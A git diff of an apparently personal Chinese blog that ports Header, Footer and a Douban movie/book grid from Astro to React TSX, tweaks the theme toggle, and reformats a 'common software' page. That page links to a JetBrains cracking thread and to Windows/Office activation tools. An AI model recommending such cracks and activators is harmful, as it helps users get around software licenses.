{mobileMenuOpen && (
|
||||
<div className="md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
|
||||
<div className="backdrop-blur-[6px] bg-white/80 dark:bg-gray-800/80 shadow-md">
|
||||
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
|
||||
<div className="grid gap-1">
|
||||
{NAV_LINKS.map((link) => (
|
||||
<a
|
||||
key={link.href}
|
||||
href={link.href}
|
||||
className={`flex items-center px-3 py-3 rounded-lg text-base font-medium ${
|
||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
|
||||
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
|
||||
}`}
|
||||
>
|
||||
{link.text}
|
||||
</a>
|
||||
))}
|
||||
<div
|
||||
className="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2"
|
||||
onClick={(e) => {
|
||||
const themeToggleButton = e.currentTarget.querySelector('[role="button"]');
|
||||
const target = e.target as HTMLElement;
|
||||
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
|
||||
themeToggleButton.click();
|
||||
}
|
||||
}}
|
||||
>
|
||||
<span className="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
|
||||
<ThemeToggle />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</nav>
|
||||
</header>
|
||||
);
|
||||
}
|
@ -1,7 +1,7 @@
|
||||
---
|
||||
import "@/styles/global.css";
|
||||
import Header from "@/components/Header.astro";
|
||||
import Footer from "@/components/Footer.astro";
|
||||
import Header from "@/components/Header.tsx";
|
||||
import {Footer} from "@/components/Footer.tsx";
|
||||
import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts";
|
||||
|
||||
// 定义Props接口
|
||||
@ -55,7 +55,13 @@ const { title = SITE_NAME, description = SITE_DESCRIPTION, date, author, tags, i
|
||||
<meta property="article:tag" content={tag} />
|
||||
))}
|
||||
<script is:inline>
|
||||
// 立即执行主题初始化
|
||||
// 立即执行主题初始化,并防止变量重复声明
|
||||
(function() {
|
||||
// 检查变量是否已存在
|
||||
if (typeof window.__themeInitDone === 'undefined') {
|
||||
// 设置标志,表示初始化已完成
|
||||
window.__themeInitDone = true;
|
||||
|
||||
const theme = (() => {
|
||||
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
|
||||
return localStorage.getItem('theme');
|
||||
@ -66,10 +72,12 @@ const { title = SITE_NAME, description = SITE_DESCRIPTION, date, author, tags, i
|
||||
return 'light';
|
||||
})();
|
||||
document.documentElement.dataset.theme = theme;
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
</head>
|
||||
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg transition-colors duration-300 flex flex-col min-h-screen">
|
||||
<Header />
|
||||
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg flex flex-col min-h-screen">
|
||||
<Header client:load/>
|
||||
<main class="pt-16 flex-grow">
|
||||
<slot />
|
||||
</main>
|
||||
|
@ -1,202 +0,0 @@
|
||||
---
|
||||
interface Props {
|
||||
type: 'movie' | 'book';
|
||||
title: string;
|
||||
doubanId: string;
|
||||
}
|
||||
|
||||
const { type, title, doubanId } = Astro.props;
|
||||
// Generate unique IDs for this specific instance of the component
|
||||
const uniquePrefix = `media-${type}`;
|
||||
const mediaListId = `${uniquePrefix}-list`;
|
||||
const loadingId = `${uniquePrefix}-loading`;
|
||||
const endMessageId = `${uniquePrefix}-end-message`;
|
||||
---
|
||||
|
||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
|
||||
<h1 class="text-3xl font-bold mb-6">{title}</h1>
|
||||
|
||||
<div id={mediaListId} class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
|
||||
<!-- 内容将通过JS动态加载 -->
|
||||
</div>
|
||||
|
||||
<div id={loadingId} class="text-center py-8">
|
||||
<div class="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
|
||||
<p class="mt-2 text-gray-600">加载更多...</p>
|
||||
</div>
|
||||
|
||||
<div id={endMessageId} class="text-center py-8 hidden">
|
||||
<p class="text-gray-600">已加载全部内容</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script define:vars={{ type, doubanId, mediaListId, loadingId, endMessageId }}>
|
||||
// Create a class with scoped methods instead of using global functions and variables
|
||||
class MediaLoader {
|
||||
constructor(type, doubanId, mediaListId, loadingId, endMessageId) {
|
||||
this.type = type;
|
||||
this.doubanId = doubanId;
|
||||
this.mediaListId = mediaListId;
|
||||
this.loadingId = loadingId;
|
||||
this.endMessageId = endMessageId;
|
||||
this.currentPage = 1;
|
||||
this.isLoading = false;
|
||||
this.hasMoreContent = true;
|
||||
this.itemsPerPage = 15; // 豆瓣每页显示的数量
|
||||
this.scrollHandler = this.handleScroll.bind(this);
|
||||
}
|
||||
|
||||
async fetchMedia(page = 1, append = false) {
|
||||
if (this.isLoading || (!append && !this.hasMoreContent)) {
|
||||
return;
|
||||
}
|
||||
|
||||
this.isLoading = true;
|
||||
this.showLoading(true);
|
||||
|
||||
const start = (page - 1) * this.itemsPerPage;
|
||||
try {
|
||||
const response = await fetch(`/api/douban?type=${this.type}&start=${start}&doubanId=${this.doubanId}`);
|
||||
if (!response.ok) {
|
||||
throw new Error(`获取${this.type === 'movie' ? '电影' : '图书'}数据失败`);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
this.renderMedia(data.items, append);
|
||||
|
||||
// 更新分页状态
|
||||
this.currentPage = data.pagination.current;
|
||||
this.hasMoreContent = data.pagination.hasNext;
|
||||
|
||||
if (!this.hasMoreContent) {
|
||||
this.showEndMessage(true);
|
||||
}
|
||||
} catch (error) {
|
||||
const mediaList = document.getElementById(this.mediaListId);
|
||||
if (mediaList && !append) {
|
||||
mediaList.innerHTML = '<div class="col-span-full text-center text-red-500">获取数据失败,请稍后再试</div>';
|
||||
}
|
||||
} finally {
|
||||
this.isLoading = false;
|
||||
this.showLoading(false);
|
||||
}
|
||||
}
|
||||
|
||||
renderMedia(items, append = false) {
|
||||
const mediaList = document.getElementById(this.mediaListId);
|
||||
if (!mediaList) return;
|
||||
|
||||
if (!items || items.length === 0) {
|
||||
if (!append) {
|
||||
mediaList.innerHTML = `<div class="col-span-full text-center">暂无${this.type === 'movie' ? '电影' : '图书'}数据</div>`;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const mediaHTML = items.map(item => `
|
||||
<div class="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl transition-shadow duration-300">
|
||||
<div class="relative pb-[150%] overflow-hidden">
|
||||
<img src="${item.imageUrl}" alt="${item.title}" class="absolute top-0 left-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105">
|
||||
<div class="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
|
||||
<h3 class="font-bold text-white text-sm line-clamp-2">
|
||||
<a href="${item.link}" target="_blank" class="hover:text-blue-300 transition-colors">${item.title}</a>
|
||||
</h3>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
`).join('');
|
||||
|
||||
if (append) {
|
||||
mediaList.innerHTML += mediaHTML;
|
||||
} else {
|
||||
mediaList.innerHTML = mediaHTML;
|
||||
}
|
||||
}
|
||||
|
||||
showLoading(show) {
|
||||
const loading = document.getElementById(this.loadingId);
|
||||
if (loading) {
|
||||
if (show) {
|
||||
loading.classList.remove('hidden');
|
||||
} else {
|
||||
loading.classList.add('hidden');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
showEndMessage(show) {
|
||||
const endMessage = document.getElementById(this.endMessageId);
|
||||
if (endMessage) {
|
||||
endMessage.classList.toggle('hidden', !show);
|
||||
}
|
||||
}
|
||||
|
||||
setupInfiniteScroll() {
|
||||
// 添加滚动事件
|
||||
window.addEventListener('scroll', this.scrollHandler);
|
||||
|
||||
// 初始检查一次,以防内容不足一屏
|
||||
setTimeout(() => this.handleScroll(), 500);
|
||||
}
|
||||
|
||||
handleScroll() {
|
||||
if (this.isLoading || !this.hasMoreContent) {
|
||||
return;
|
||||
}
|
||||
|
||||
const scrollY = window.scrollY;
|
||||
const windowHeight = window.innerHeight;
|
||||
const documentHeight = document.documentElement.scrollHeight;
|
||||
|
||||
// 当滚动到距离底部300px时加载更多
|
||||
if (scrollY + windowHeight >= documentHeight - 300) {
|
||||
this.fetchMedia(this.currentPage + 1, true);
|
||||
}
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
// 移除滚动事件监听器
|
||||
window.removeEventListener('scroll', this.scrollHandler);
|
||||
}
|
||||
|
||||
initialize() {
|
||||
this.fetchMedia(1, false).then(() => {
|
||||
this.setupInfiniteScroll();
|
||||
}).catch(err => {
|
||||
// 错误已在fetchMedia中处理
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// 存储每个页面创建的媒体加载器,用于清理
|
||||
if (!window.mediaLoaders) {
|
||||
window.mediaLoaders = {};
|
||||
}
|
||||
|
||||
// 创建并初始化媒体加载器
|
||||
function initMediaLoader() {
|
||||
// 清理可能存在的旧实例
|
||||
if (window.mediaLoaders[mediaListId]) {
|
||||
window.mediaLoaders[mediaListId].cleanup();
|
||||
}
|
||||
|
||||
const loader = new MediaLoader(type, doubanId, mediaListId, loadingId, endMessageId);
|
||||
window.mediaLoaders[mediaListId] = loader;
|
||||
loader.initialize();
|
||||
}
|
||||
|
||||
// 页面首次加载
|
||||
document.addEventListener('astro:swup:page:view', initMediaLoader);
|
||||
|
||||
// 页面卸载前清理
|
||||
document.addEventListener('astro:before-swap', () => {
|
||||
if (window.mediaLoaders[mediaListId]) {
|
||||
window.mediaLoaders[mediaListId].cleanup();
|
||||
}
|
||||
});
|
||||
|
||||
// 如果已经加载了 DOM,立即初始化
|
||||
if (document.readyState === 'complete' || document.readyState === 'interactive') {
|
||||
initMediaLoader();
|
||||
}
|
||||
</script>
|
359
src/components/MediaGrid.tsx
Normal file
359
src/components/MediaGrid.tsx
Normal file
@ -0,0 +1,359 @@
|
||||
import React, { useEffect, useRef, useState } from 'react';
|
||||
|
||||
interface MediaGridProps {
|
||||
type: 'movie' | 'book';
|
||||
title: string;
|
||||
doubanId: string;
|
||||
}
|
||||
|
||||
interface MediaItem {
|
||||
title: string;
|
||||
imageUrl: string;
|
||||
link: string;
|
||||
}
|
||||
|
||||
interface PaginationInfo {
|
||||
current: number;
|
||||
hasNext: boolean;
|
||||
}
|
||||
|
||||
const MediaGrid: React.FC<MediaGridProps> = ({ type, title, doubanId }) => {
|
||||
const [items, setItems] = useState<MediaItem[]>([]);
|
||||
const [isLoading, setIsLoading] = useState(false);
|
||||
const [hasMoreContent, setHasMoreContent] = useState(true);
|
||||
const [currentPage, setCurrentPage] = useState(1);
|
||||
const [error, setError] = useState<string | null>(null);
|
||||
const itemsPerPage = 15;
|
||||
const mediaListRef = useRef<HTMLDivElement>(null);
|
||||
const lastScrollTime = useRef(0);
|
||||
|
||||
// 使用ref来跟踪关键状态,避免闭包问题
|
||||
const stateRef = useRef({
|
||||
isLoading: false,
|
||||
hasMoreContent: true,
|
||||
currentPage: 1,
|
||||
error: null as string | null
|
||||
});
|
||||
|
||||
// 封装fetch函数但不使用useCallback以避免依赖循环
|
||||
const fetchMedia = async (page = 1, append = false) => {
|
||||
// 使用ref中的最新状态
|
||||
if (stateRef.current.isLoading ||
|
||||
(!append && !stateRef.current.hasMoreContent) ||
|
||||
(append && !stateRef.current.hasMoreContent)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 更新状态和ref
|
||||
setIsLoading(true);
|
||||
stateRef.current.isLoading = true;
|
||||
|
||||
// 只在首次加载时清除错误
|
||||
if (!append) {
|
||||
setError(null);
|
||||
stateRef.current.error = null;
|
||||
}
|
||||
|
||||
const start = (page - 1) * itemsPerPage;
|
||||
try {
|
||||
const response = await fetch(`/api/douban?type=${type}&start=${start}&doubanId=${doubanId}`);
|
||||
if (!response.ok) {
|
||||
// 解析响应内容,获取详细错误信息
|
||||
let errorMessage = `获取${type === 'movie' ? '电影' : '图书'}数据失败`;
|
||||
try {
|
||||
const errorData = await response.json();
|
||||
if (errorData && errorData.error) {
|
||||
errorMessage = errorData.error;
|
||||
if (errorData.message) {
|
||||
errorMessage += `: ${errorData.message}`;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
// 无法解析JSON,使用默认错误信息
|
||||
}
|
||||
|
||||
// 针对不同错误提供更友好的提示
|
||||
if (response.status === 403) {
|
||||
errorMessage = "豆瓣接口访问受限,可能是请求过于频繁,请稍后再试";
|
||||
} else if (response.status === 404) {
|
||||
// 对于404错误,如果是追加模式,说明已经到了最后一页,设置hasMoreContent为false
|
||||
if (append) {
|
||||
setHasMoreContent(false);
|
||||
stateRef.current.hasMoreContent = false;
|
||||
setIsLoading(false);
|
||||
stateRef.current.isLoading = false;
|
||||
return; // 直接返回,不设置错误,不清空已有数据
|
||||
} else {
|
||||
errorMessage = "未找到相关内容,请检查豆瓣ID是否正确";
|
||||
}
|
||||
}
|
||||
|
||||
// 设置错误状态和ref
|
||||
setError(errorMessage);
|
||||
stateRef.current.error = errorMessage;
|
||||
|
||||
// 只有非追加模式才清空数据
|
||||
if (!append) {
|
||||
setItems([]);
|
||||
}
|
||||
|
||||
throw new Error(errorMessage);
|
||||
}
|
||||
|
||||
const data = await response.json();
|
||||
|
||||
if (data.items.length === 0) {
|
||||
// 如果返回的项目为空,则认为已经没有更多内容
|
||||
setHasMoreContent(false);
|
||||
stateRef.current.hasMoreContent = false;
|
||||
if (!append) {
|
||||
setItems([]);
|
||||
}
|
||||
} else {
|
||||
if (append) {
|
||||
setItems(prev => {
|
||||
const newItems = [...prev, ...data.items];
|
||||
return newItems;
|
||||
});
|
||||
} else {
|
||||
setItems(data.items);
|
||||
}
|
||||
// 更新页码状态和ref
|
||||
setCurrentPage(data.pagination.current);
|
||||
stateRef.current.currentPage = data.pagination.current;
|
||||
|
||||
// 更新是否有更多内容的状态和ref
|
||||
const newHasMoreContent = data.pagination.hasNext;
|
||||
setHasMoreContent(newHasMoreContent);
|
||||
stateRef.current.hasMoreContent = newHasMoreContent;
|
||||
}
|
||||
} catch (error) {
|
||||
// 只有在非追加模式下才清空已加载的内容
|
||||
if (!append) {
|
||||
setItems([]);
|
||||
}
|
||||
} finally {
|
||||
// 重置加载状态
|
||||
setIsLoading(false);
|
||||
stateRef.current.isLoading = false;
|
||||
}
|
||||
};
|
||||
|
||||
// 处理滚动事件
|
||||
const handleScroll = () => {
|
||||
// 获取关键滚动值
|
||||
const scrollY = window.scrollY;
|
||||
const windowHeight = window.innerHeight;
|
||||
const documentHeight = document.documentElement.scrollHeight;
|
||||
const scrollPosition = scrollY + windowHeight;
|
||||
const threshold = documentHeight - 300;
|
||||
|
||||
// 限制滚动日志频率,每秒最多输出一次
|
||||
const now = Date.now();
|
||||
if (now - lastScrollTime.current < 1000) {
|
||||
return;
|
||||
}
|
||||
lastScrollTime.current = now;
|
||||
|
||||
// 使用ref中的最新状态来检查
|
||||
if (stateRef.current.isLoading || !stateRef.current.hasMoreContent || stateRef.current.error) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 当滚动到距离底部300px时加载更多
|
||||
if (scrollPosition >= threshold) {
|
||||
fetchMedia(stateRef.current.currentPage + 1, true);
|
||||
}
|
||||
};
|
||||
|
||||
// 更新ref值以跟踪状态变化
|
||||
useEffect(() => {
|
||||
stateRef.current.isLoading = isLoading;
|
||||
}, [isLoading]);
|
||||
|
||||
useEffect(() => {
|
||||
stateRef.current.hasMoreContent = hasMoreContent;
|
||||
}, [hasMoreContent]);
|
||||
|
||||
useEffect(() => {
|
||||
stateRef.current.currentPage = currentPage;
|
||||
}, [currentPage]);
|
||||
|
||||
useEffect(() => {
|
||||
stateRef.current.error = error;
|
||||
}, [error]);
|
||||
|
||||
// 组件初始化和依赖变化时重置
|
||||
useEffect(() => {
|
||||
// 重置状态
|
||||
setCurrentPage(1);
|
||||
stateRef.current.currentPage = 1;
|
||||
|
||||
setHasMoreContent(true);
|
||||
stateRef.current.hasMoreContent = true;
|
||||
|
||||
setError(null);
|
||||
stateRef.current.error = null;
|
||||
|
||||
setIsLoading(false);
|
||||
stateRef.current.isLoading = false;
|
||||
|
||||
// 清空列表
|
||||
setItems([]);
|
||||
|
||||
// 加载第一页数据
|
||||
fetchMedia(1, false);
|
||||
|
||||
// 管理滚动事件
|
||||
const scrollListener = handleScroll;
|
||||
|
||||
// 移除任何现有监听器
|
||||
window.removeEventListener('scroll', scrollListener);
|
||||
|
||||
// 添加滚动事件监听器 - 使用passive: true可提高滚动性能
|
||||
window.addEventListener('scroll', scrollListener, { passive: true });
|
||||
|
||||
// 创建一个IntersectionObserver作为备选检测方案
|
||||
const observerOptions = {
|
||||
root: null,
|
||||
rootMargin: '300px',
|
||||
threshold: 0.1
|
||||
};
|
||||
|
||||
const intersectionObserver = new IntersectionObserver((entries) => {
|
||||
const entry = entries[0];
|
||||
|
||||
if (entry.isIntersecting &&
|
||||
!stateRef.current.isLoading &&
|
||||
stateRef.current.hasMoreContent &&
|
||||
!stateRef.current.error) {
|
||||
fetchMedia(stateRef.current.currentPage + 1, true);
|
||||
}
|
||||
}, observerOptions);
|
||||
|
||||
// 添加检测底部的元素 - 放在grid容器的后面而不是内部
|
||||
const footer = document.createElement('div');
|
||||
footer.id = 'scroll-detector';
|
||||
footer.style.width = '100%';
|
||||
footer.style.height = '10px';
|
||||
|
||||
// 确保mediaListRef有父元素
|
||||
if (mediaListRef.current && mediaListRef.current.parentElement) {
|
||||
// 插入到grid后面而不是内部
|
||||
mediaListRef.current.parentElement.insertBefore(footer, mediaListRef.current.nextSibling);
|
||||
intersectionObserver.observe(footer);
|
||||
}
|
||||
|
||||
// 初始检查一次,以防内容不足一屏
|
||||
const timeoutId = setTimeout(() => {
|
||||
if (stateRef.current.hasMoreContent && !stateRef.current.isLoading) {
|
||||
scrollListener();
|
||||
}
|
||||
}, 500);
|
||||
|
||||
// 清理函数
|
||||
return () => {
|
||||
clearTimeout(timeoutId);
|
||||
window.removeEventListener('scroll', scrollListener);
|
||||
intersectionObserver.disconnect();
|
||||
document.getElementById('scroll-detector')?.remove();
|
||||
};
|
||||
}, [type, doubanId]); // 只在关键属性变化时执行
|
||||
|
||||
// 错误提示组件
|
||||
const ErrorMessage = () => {
|
||||
if (!error) return null;
|
||||
|
||||
return (
|
||||
<div className="col-span-full text-center bg-red-50 p-4 rounded-md">
|
||||
<div className="flex flex-col items-center justify-center">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" className="h-12 w-12 text-red-500 mb-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
|
||||
</svg>
|
||||
<h3 className="text-lg font-medium text-red-800">访问错误</h3>
|
||||
<p className="mt-1 text-sm text-red-700">{error}</p>
|
||||
<button
|
||||
onClick={() => {
|
||||
// 重置错误和加载状态
|
||||
setError(null);
|
||||
stateRef.current.error = null;
|
||||
|
||||
// 允许再次加载
|
||||
setHasMoreContent(true);
|
||||
stateRef.current.hasMoreContent = true;
|
||||
|
||||
// 重新获取当前页
|
||||
fetchMedia(currentPage, false);
|
||||
}}
|
||||
className="mt-4 px-4 py-2 bg-red-600 text-white rounded-md hover:bg-red-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-red-500"
|
||||
>
|
||||
重试
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
// 没有更多内容提示
|
||||
const EndMessage = () => {
|
||||
if (isLoading || !items.length || error) return null;
|
||||
|
||||
return (
|
||||
<div className="text-center py-8">
|
||||
<p className="text-gray-600">已加载全部内容</p>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
|
||||
<h1 className="text-3xl font-bold mb-6">{title}</h1>
|
||||
|
||||
<div ref={mediaListRef} className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
|
||||
{error && items.length === 0 ? (
|
||||
<ErrorMessage />
|
||||
) : items.length > 0 ? (
|
||||
items.map((item, index) => (
|
||||
<div key={`${item.title}-${index}`} className="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl">
|
||||
<div className="relative pb-[150%] overflow-hidden">
|
||||
<img
|
||||
src={item.imageUrl}
|
||||
alt={item.title}
|
||||
className="absolute top-0 left-0 w-full h-full object-cover hover:scale-105"
|
||||
/>
|
||||
<div className="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
|
||||
<h3 className="font-bold text-white text-sm line-clamp-2">
|
||||
<a href={item.link} target="_blank" rel="noopener noreferrer" className="hover:text-blue-300">
|
||||
{item.title}
|
||||
</a>
|
||||
</h3>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))
|
||||
) : !isLoading ? (
|
||||
<div className="col-span-full text-center">暂无{type === 'movie' ? '电影' : '图书'}数据</div>
|
||||
) : null}
|
||||
</div>
|
||||
|
||||
{error && items.length > 0 && (
|
||||
<div className="mt-4">
|
||||
<ErrorMessage />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isLoading && (
|
||||
<div className="text-center py-8">
|
||||
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
|
||||
<p className="mt-2 text-gray-600">加载更多...(第{currentPage}页)</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!hasMoreContent && items.length > 0 && !isLoading && (
|
||||
<EndMessage />
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
export default MediaGrid;
|
@ -2,10 +2,10 @@ import { useEffect, useState, useCallback, useRef } from 'react';
|
||||
|
||||
export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", className = "" }) {
|
||||
// 使用null作为初始状态,表示尚未确定主题
|
||||
const [theme, setTheme] = useState(null);
|
||||
const [theme, setTheme] = useState<string | null>(null);
|
||||
const [mounted, setMounted] = useState(false);
|
||||
const [transitioning, setTransitioning] = useState(false);
|
||||
const transitionTimeoutRef = useRef(null);
|
||||
const transitionTimeoutRef = useRef<NodeJS.Timeout | null>(null);
|
||||
|
||||
// 获取系统主题
|
||||
const getSystemTheme = useCallback(() => {
|
||||
@ -30,7 +30,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
||||
|
||||
// 监听系统主题变化
|
||||
const mediaQuery = window.matchMedia('(prefers-color-scheme: dark)');
|
||||
const handleMediaChange = (e) => {
|
||||
const handleMediaChange = (e: MediaQueryListEvent) => {
|
||||
// 只有当主题设置为跟随系统时才更新主题
|
||||
if (!localStorage.getItem('theme')) {
|
||||
const newTheme = e.matches ? 'dark' : 'light';
|
||||
@ -84,7 +84,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
||||
if (!mounted || theme === null) {
|
||||
return (
|
||||
<div
|
||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
|
||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${className}`}
|
||||
>
|
||||
<span className="sr-only">加载主题切换按钮...</span>
|
||||
</div>
|
||||
@ -93,7 +93,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md transition-all duration-200 hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
|
||||
className={`inline-flex items-center justify-center h-8 w-8 cursor-pointer rounded-md hover:bg-gray-100 dark:hover:bg-gray-700/50 text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 ${transitioning ? 'pointer-events-none opacity-80' : ''} ${className}`}
|
||||
onClick={toggleTheme}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
@ -110,7 +110,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
||||
style={{ height: `${height}px`, width: `${width}px` }}
|
||||
fill={fill}
|
||||
viewBox="0 0 16 16"
|
||||
className="transition-transform duration-200 hover:scale-110"
|
||||
className="hover:scale-110"
|
||||
aria-hidden="true"
|
||||
>
|
||||
<path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
|
||||
@ -120,7 +120,7 @@ export function ThemeToggle({ height = 16, width = 16, fill = "currentColor", cl
|
||||
style={{ height: `${height}px`, width: `${width}px` }}
|
||||
fill={fill}
|
||||
viewBox="0 0 16 16"
|
||||
className="transition-transform duration-200 hover:scale-110"
|
||||
className="hover:scale-110"
|
||||
aria-hidden="true"
|
||||
>
|
||||
<path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
|
@ -844,7 +844,7 @@ const WorldHeatmap: React.FC<WorldHeatmapProps> = ({ visitedPlaces }) => {
|
||||
/>
|
||||
{hoveredCountry && (
|
||||
<div className="absolute bottom-5 left-0 right-0 text-center z-10">
|
||||
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 transition-all duration-300 hover:scale-105">
|
||||
<div className="inline-block bg-white/95 dark:bg-gray-800/95 px-6 py-3 rounded-xl shadow-lg backdrop-blur-sm border border-gray-200 dark:border-gray-700 hover:scale-105">
|
||||
<p className="text-gray-800 dark:text-white font-medium text-lg flex items-center justify-center gap-2">
|
||||
{hoveredCountry}
|
||||
{hoveredCountry && visitedPlaces.includes(hoveredCountry) ? (
|
||||
|
@ -3,170 +3,185 @@ title: "常用软件"
|
||||
date: 2023-04-28T20:56:00Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
### Windows 应用
|
||||
|
||||
---
|
||||
|
||||
* **开发软件:**
|
||||
- **开发软件:**
|
||||
|
||||
* [JetBrains全家桶](https://www.jetbrains.com/zh-cn/products/)
|
||||
* [JetBrains破解软件](https://linux.do/t/topic/115562)
|
||||
* **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
|
||||
* **办公软件:**
|
||||
- [JetBrains 全家桶](https://www.jetbrains.com/zh-cn/products/)
|
||||
- [JetBrains 破解软件](https://linux.do/t/topic/115562)
|
||||
|
||||
* [Office Tool Plus](https://otp.landian.vip/zh-cn/download.html) (office下载)
|
||||
* [WAS](https://github.com/massgravel/Microsoft-Activation-Scripts) (windows/office 激活)
|
||||
* [HEU_KMS_Activator](https://github.com/zbezj/HEU_KMS_Activator/releases) (windows/office 激活)
|
||||
* **下载器:** [IDM](https://www.internetdownloadmanager.com/)
|
||||
* **卸载工具:** [Geek](https://geekuninstaller.com/)
|
||||
* **文件搜索工具:** [Everything](https://www.voidtools.com/downloads/)
|
||||
* **电脑硬件检测:** [图吧工具箱](http://www.tbtool.cn/)
|
||||
* **浏览器:**
|
||||
- **压缩软件:** [NanaZIP](https://github.com/M2Team/NanaZip) (应用商店可下载)
|
||||
- **办公软件:**
|
||||
|
||||
* [chrome](https://www.google.com/chrome/)
|
||||
* [Arc](https://arc.net/)
|
||||
* [百分浏览器](https://www.centbrowser.cn/)
|
||||
